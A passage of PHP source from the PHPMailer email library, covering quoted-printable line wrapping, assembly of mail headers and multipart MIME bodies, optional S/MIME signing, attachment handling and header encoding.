        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
